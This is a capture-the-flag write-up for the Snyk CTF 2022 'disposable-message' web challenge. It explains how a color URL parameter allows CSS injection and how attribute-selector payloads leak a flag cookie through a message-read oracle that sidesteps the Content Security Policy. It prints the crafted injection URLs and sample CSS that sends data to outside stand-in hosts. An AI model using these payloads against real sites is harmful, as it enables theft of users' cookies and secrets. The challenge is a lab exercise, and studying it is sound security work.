Snyk CTF 2022 disposable-message Write-Up

Snyk CTF 2022 disposable-message Write-Up
Snyk CTF 2022

Note: As of 11/14/2022 the admin bot is back up, so this walkthrough can be reproduced with the live challenge, but my exploit also implements the admin bot, see the repo link below.

Challenge URL: http://disposable-message.c.ctf-snyk.io/

This was a very interesting challenge, and actually the first time I had seen this particular vulnerability.

We start by observing the application to see what it does:

The application lets us create a message...

New message created

...and view it ourselves

Viewing an unread message

And if we view it again, we see the message is gone:

Viewing a read message

We can also request an "admin" to view the message with the "Ask admin bot to visit" button.

If we look closely at the view HTML, we see a couple interesting things.  The first thing is that there is a placeholder for a flag cookie

<!-- from your cookies -->
<div data-flag=""></div>
Interesting Thing #1

which we can confirm by sending a cookie named "flag" into the request,

GET /view/e6dfa52e-ec8f-4399-839f-d249f2dd52e0 HTTP/1.1
Host: disposable-message.c.ctf-snyk.io
Connection: close
Cookie: flag=Hello

and see that the flag is displayed in the HTML:

<!-- from your cookies -->
<div data-flag="Hello">Hello</div>

The second interesting thing is the script fragment at the end of the page:

  if (window.location.search.startsWith('?color=')) {
    localStorage.setItem(
      'color',
      decodeURIComponent(window.location.search.replace('?color=', ''))
    );
  }

  const color = localStorage.getItem('color') || 'ffffff';
  const style = document.createElement('style');

  style.innerText = `body {background-color: #${color};}`;
  document.head.appendChild(style);
Interesting Thing #2

This code uses the color URL parameter and renders a style element for the background color.  For example, passing ?color=ABCDEF to the /view/ URL will append the following style tag into the DOM:

<style>body {background-color: #ABCDEF;}</style>

Taking it one step further we try to craft a color URL parameter to confirm we can modify the CSS arbitrarily:

For example, this URL: http://disposable-message.c.ctf-snyk.io/view/e6dfa52e-ec8f-4399-839f-d249f2dd52e0?color=ABCDEF%3B } .navbar-brand{ background-color%3A%23ff0000 will create the following style tag:

<style>body {background-color: #ABCDEF; } .navbar-brand{ background-color:#ff0000;}</style>

We have confirmed a CSS injection vulnerability.

After some searching I found the following presentation from 2019 (https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) which showed how you could leak the contents of an HTML element using a CSS selector:

input[value^="a"] { background: url(http://foo.bar/log?a };
input[value^="b"] { background: url(http://foo.bar/log?b };
...
input[value^="z"] { background: url(http://foo.bar/log?z };
Sample CSS that can leak the contents of an HTML element

Now lets test if we can read our own flag cookie using this CSS injection.   Let's say that if our flag cookie is A then we want to retrieve the URL http://example.com/A.

The color URL parameter would be:

ABCDEF; } div[data-flag^="A"] { background: url("http://example.com/A") } .navbar-brand{ background-color:#ff0000

So after proper URL encoding, the view URL would be: http://disposable-message.c.ctf-snyk.io/view/e10134c6-9143-40cc-a44f-84c2f7872ea4?color=ABCDEF%3B } div[data-flag^%3D"A"] { background%3A url("http%3A%2F%2Fexample.com%2FA") } .navbar-brand{ background-color%3A%23ff0000

If we view this in a browser, making sure to have a flag cookie with a value of A, we will see that the browser tries to access the URL:

But we have a problem... the Content Security Policy (CSP) of img-src 'self' data:; doesn't allow image URLs outside of the origin, so it will not be so simple.

Which URL can we use to leak the flag?  Well, we know that when you create a message, and read it, you will see the message contents.  If you read it again, you will not.

What if we use the URL of a message that hasn't been read?  If we view a message, and it was already read, then we know that a CSS selector has matched the flag's contents.  This is actually very similar to what you would need to do to exploit a Boolean based blind SQL injection vulnerability.

So the high-level exploit script process is:

  1. For each possible character in the flag (i.e. SNYK{0123456789abcdef})
    create a message, store its ID.
  2. For each of those messages, create a throwaway message, and ask the admin bot to view it, and pass in the crafted color URL parameter with the CSS injection that will read the first message ID if the flag matches.
  3. Wait a few seconds for the admin bot to finish viewing the messages.
  4. Find the message that was read by the admin, thus indicating which flag character was leaked.

My exploit script (and a local admin bot emulator) can be found at https://github.com/k1ngpr4wn/snyk-ctf-2022/tree/main/disposable-message just read the README.md for usage instructions.